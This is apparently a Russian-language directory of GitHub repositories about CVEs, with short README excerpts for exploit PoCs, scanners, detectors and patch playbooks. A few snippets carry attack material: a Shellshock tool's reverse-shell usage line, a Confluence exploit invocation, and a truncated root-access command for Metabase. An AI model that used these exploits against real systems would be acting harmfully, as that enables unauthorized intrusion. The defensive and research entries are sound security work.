CVE-2025-6543_CitrixNetScaler_PoC

CVE-2025-6543CitrixNetScalerPoC Многохостовой, многопортовый сканер и аудитор для устройств NetScaler, затронутых CVE-2025-6543. Поддерживает перечисление через SNMP и SSH с возможностью создания CSV-отчётов и заглушками для эксплойтов. 🔐 Описание репозитория GitHub CVE-2025-6543 Enhanced Checker...

ES-File-Explorer-Open-Port-Vulnerability---CVE-2019-6447

В этом репозитории нет README...

METABASE-RCE-CVE-2023-38646-

METABASE-RCE-CVE-2023-38646- Чтобы получить root-доступ к машине или системе в соответствии с приведённой выше информацией, эта команда и файл предоставят доступ к root-пользователю. Вы можете выполнить эту команду напрямую или запустить как файл и выполнить. Команда: $unshare -rm sh -c "mkdir l ...

CVE-2021-41773

Apache Path Traversal & RCE Exploit CVE-2021-41773 & CVE-2021-42013 Это критические уязвимости обхода пути, затрагивающие Apache HTTP Server 2.4.49 и 2.4.50. Они позволяют атакующим: Получать доступ к файлам за пределами корневой директории веб-сервера LFI Выполнять удаленный код RCE, если включе...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 — Эксплойт RCE для Wing FTP Server В этом репозитории представлен proof-of-concept эксплойт для CVE-2025-47812 — уязвимости удалённого выполнения команд RCE в Wing FTP Server. Злоумышленник может внедрить и выполнить произвольные Lua-команды, манипулируя параметром username при...

Zerologon_CVE-2020-1472

Zerologon CVE-2020-1472 Этот скрипт предназначен для массовой проверки ваших контроллеров домена на уязвимость Zerologon. Примечание Уязвимости Zerologon опасны для вашего контроллера домена, не используйте эксплойт на производственных серверах. Аргументы --ip IP-адрес для проверки на...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Инструмент Apache Shellshock Remote Command Injection для быстрого получения обратной оболочки и просмотра файлов root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7...

Sophos-Vulnerability

Анализ уязвимости CVE-2022-1040 Sophos RCE В исследовательской группе Toasec, занимающейся наступательной кибербезопасностью, мы взяли на себя задачу провести анализ этой уязвимости в межсетевых экранах Sophos. Данная уязвимость, как и многие другие, может быть обнаружена и найдена, если уметь...

CVE-2023-22515

CVE-2023-22515 Эксплойт-скрипт Затронутые версии root@kitploit: 8.0.0=Atlassian Confluence=8.5.1 Эксплуатация уязвимости root@kitploit: python3 CVE-2023-22515.py -h usage: confluence.py -h -url URL optional arguments: -h, --help show this help message and exit -url URL url：http://xx.xx.xx.xx...

nginx-rift-detect

nginx-rift-detect Скрипт поведенческого обнаружения для CVE-2026-42945 NGINX Rift — переполнения кучи в ngxhttprewritemodule, присутствующего в nginx с 2008 года. ⚠️ Отказ от ответственности Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и исследований...

letsdefend-cve-2024-49138-investigation

LetsDefend Расследование: CVE-2024-49138 🔍 Обзор Практическое расследование SOC и симуляция реагирования на инциденты с использованием LetsDefend, сосредоточенное на реальной эксплуатации CVE-2024-49138 — уязвимости повышения привилегий в драйвере Windows CLFS. 📅 Детали события ID события : 313 Т...

ghostcatch

ghostcatch Скрипт на Python для отключения коннекторов AJP в Apache Tomcat для устранения CVE-2020-1938 Ghostcat! Текущая версия написана для: Python 2.7 Требования: pip install progress Использование: python ghostCatch.py root@kitploit: -help флаг для справки Пример: python ghostCatch.py -help...

CVE-2024-3094-patcher

Ansible Playbook для исправления уязвимости xz-Utils CVE-2024-3094 В этом документе подробно описан Ansible playbook, предназначенный для устранения критической уязвимости CVE-2024-3094, обнаруженной в xz-Utils версий 5.6.0 и 5.6.1. Эта уязвимость, классифицированная как бэкдор, предоставляет...

CVE-2015-1427-for-trixie

В этом репозитории нет README...

imagemagick-CVE-2022-44268

imagemagick-CVE-2022-44268 Imagemagick CVE-2022-44268...

bytecode-viewer

Bytecode Viewer Bytecode Viewer - легкий удобный просмотрщик байткода Java/Android, декомпилятор и многое другое. Новые возможности Переход к объявлению Перетаскиваемые вкладки Исправлена уязвимость CVE-2022-21675 Убедитесь, что обновились до версии v2.11.X Тёмный режим по умолчанию с несколькими...

linux-4.19.72_CVE-2022-42896

Ядро Linux Существует несколько руководств для разработчиков и пользователей ядра. Эти руководства могут быть представлены в различных форматах, таких как HTML и PDF. Пожалуйста, сначала прочитайте Documentation/admin-guide/README.rst. Чтобы собрать документацию, используйте make htmldocs или mak...

scan-cve-2018-8115

root@kitploit: /\ / | | / \ | | | / /\ \ / | | | |/ | \ \ / / | | | | '| | | | | | / \ | | || | | | | / | || | | | | || || | // \, |,|,| |/ ||,|| |||, | | | / | || |/ Инструмент CLI для проверки Docker-образов CVE-2018-8115 Чтобы помочь сообществу оставаться в безопасности, мы в Aqua...

mysqld_safe-CVE-2016-6662-patch

Плейбук для исправления CVE-2016-6662 на сервере MySQL Как это работает Он добавляет исправление от Percona в файл mysqldsafe. Какие операционные системы поддерживаются CentOS FreeBSD Как использовать root@kitploit: ansible-playbook mysqld-safe-patch.yml...